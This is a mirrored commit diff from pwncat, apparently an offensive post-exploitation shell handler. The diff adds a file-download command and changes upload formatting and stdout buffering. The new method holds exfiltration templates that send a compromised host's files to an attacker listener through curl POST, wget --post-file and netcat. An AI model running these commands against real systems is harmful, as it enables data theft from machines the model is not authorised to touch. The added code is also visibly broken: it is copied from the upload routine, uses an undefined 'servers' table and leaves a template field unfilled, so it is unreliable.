mirror of
https://github.com/calebstewart/pwncat.git
synced 2024-11-27 19:04:15 +01:00
Added lport to upload command formatting. Fixed stdout buffering issues.
This commit is contained in:
parent
1c6bd80484
commit
fd318b788a
117
pwncat/pty.py
117
pwncat/pty.py
@ -184,6 +184,118 @@ class PtyHandler:
|
||||
""" Exit command mode """
|
||||
self.enter_raw(save=False)
|
||||
|
||||
def do_download(self, argv):
|
||||
|
||||
uploaders = {
|
||||
"curl": (
|
||||
"http",
|
||||
"curl -X POST --data @{remote_file} http://{lhost}:{lport}/{lfile}",
|
||||
),
|
||||
"wget": (
|
||||
"http",
|
||||
"wget --post-file {remote_file} http://{lhost}:{lport}/{lfile}",
|
||||
),
|
||||
"nc": ("raw", "nc {lhost} {lport} < {outfile}"),
|
||||
}
|
||||
# servers = {"http": util.receive_http_file, "raw": util.receive_raw_file}
|
||||
|
||||
parser = argparse.ArgumentParser(prog="upload")
|
||||
parser.add_argument(
|
||||
"--method",
|
||||
"-m",
|
||||
choices=uploaders.keys(),
|
||||
default=None,
|
||||
help="set the download method (default: auto)",
|
||||
)
|
||||
parser.add_argument(
|
||||
"--output",
|
||||
"-o",
|
||||
default="./{basename}",
|
||||
help="path to the output file (default: basename of input)",
|
||||
)
|
||||
parser.add_argument("path", help="path to the file to upload")
|
||||
|
||||
try:
|
||||
args = parser.parse_args(argv)
|
||||
except SystemExit:
|
||||
# The arguments were parsed incorrectly, return.
|
||||
return
|
||||
|
||||
if self.vars.get("lhost", None) is None:
|
||||
util.error("[!] you must provide an lhost address for reverse connections!")
|
||||
return
|
||||
|
||||
if args.method is not None and args.method not in self.known_binaries:
|
||||
util.error(f"{args.method}: method unavailable")
|
||||
elif args.method is not None:
|
||||
method = uploaders[args.method]
|
||||
else:
|
||||
method = None
|
||||
for m, info in uploaders.items():
|
||||
if m in self.known_binaries:
|
||||
util.info("uploading via {m}")
|
||||
method = info
|
||||
break
|
||||
else:
|
||||
util.warn(
|
||||
"no available upload methods. falling back to dd/base64 method"
|
||||
)
|
||||
|
||||
path = args.path
|
||||
basename = os.path.basename(args.path)
|
||||
name = basename
|
||||
outfile = args.output.format(basename=basename)
|
||||
|
||||
# Get the remote file size
|
||||
size = self.run(f'wc -c {shlex.quote(path)} 2>/dev/null || echo "none"')
|
||||
if "none" in size:
|
||||
util.error(f"{path}: no such file or directory")
|
||||
|
||||
with ProgressBar("downloading") as pb:
|
||||
|
||||
counter = pb(range(os.path.getsize(path)))
|
||||
last_update = time.time()
|
||||
|
||||
def on_progress(copied, blocksz):
|
||||
""" Update the progress bar """
|
||||
counter.items_completed += blocksz
|
||||
if counter.items_completed >= counter.total:
|
||||
counter.done = True
|
||||
counter.stopped = True
|
||||
if (time.time() - last_update) > 0.1:
|
||||
pb.invalidate()
|
||||
|
||||
if method is not None:
|
||||
server = servers[method[0]](path, name, progress=on_progress)
|
||||
|
||||
command = method[1].format(
|
||||
outfile=shlex.quote(outfile), lhost=self.vars["lhost"], lfile=name,
|
||||
)
|
||||
|
||||
result = self.run(command, wait=False)
|
||||
else:
|
||||
server = None
|
||||
with open(path, "rb") as fp:
|
||||
self.run(f"echo -n > {outfile}")
|
||||
copied = 0
|
||||
for chunk in iter(lambda: fp.read(8192), b""):
|
||||
encoded = base64.b64encode(chunk).decode("utf-8")
|
||||
self.run(f"echo -n {encoded} | base64 -d >> {outfile}")
|
||||
copied += len(chunk)
|
||||
on_progress(copied, len(chunk))
|
||||
|
||||
try:
|
||||
while not counter.done:
|
||||
time.sleep(0.1)
|
||||
except KeyboardInterrupt:
|
||||
pass
|
||||
finally:
|
||||
if server is not None:
|
||||
server.shutdown()
|
||||
|
||||
# https://github.com/prompt-toolkit/python-prompt-toolkit/issues/964
|
||||
time.sleep(0.1)
|
||||
|
||||
def do_upload(self, argv):
|
||||
""" Upload a file to the remote host """
|
||||
|
||||
@ -263,7 +375,10 @@ class PtyHandler:
|
||||
server = servers[method[0]](path, name, progress=on_progress)
|
||||
|
||||
command = method[1].format(
|
||||
outfile=shlex.quote(outfile), lhost=self.vars["lhost"], lfile=name,
|
||||
outfile=shlex.quote(outfile),
|
||||
lhost=self.vars["lhost"],
|
||||
lfile=name,
|
||||
lport=server.server_address[1],
|
||||
)
|
||||
|
||||
result = self.run(command, wait=False)
|
||||
|
@ -4,6 +4,7 @@ from http.server import BaseHTTPRequestHandler, HTTPServer
|
||||
from socketserver import TCPServer, BaseRequestHandler
|
||||
from functools import partial
|
||||
from colorama import Fore
|
||||
from io import TextIOWrapper
|
||||
import threading
|
||||
import logging
|
||||
import termios
|
||||
@ -93,6 +94,15 @@ def enter_raw_mode():
|
||||
# Ensure we don't have any weird buffering issues
|
||||
sys.stdout.flush()
|
||||
|
||||
# Python doesn't provide a way to use setvbuf, so we reopen stdout
|
||||
# and specify no buffering
|
||||
old_stdout = sys.stdout
|
||||
sys.stdout = TextIOWrapper(
|
||||
os.fdopen(sys.stdout.fileno(), "ba+", buffering=0),
|
||||
write_through=True,
|
||||
line_buffering=False,
|
||||
)
|
||||
|
||||
# Grab and duplicate current attributes
|
||||
fild = sys.stdin.fileno()
|
||||
old = termios.tcgetattr(fild)
|
||||
|
Loading…
Reference in New Issue
Block a user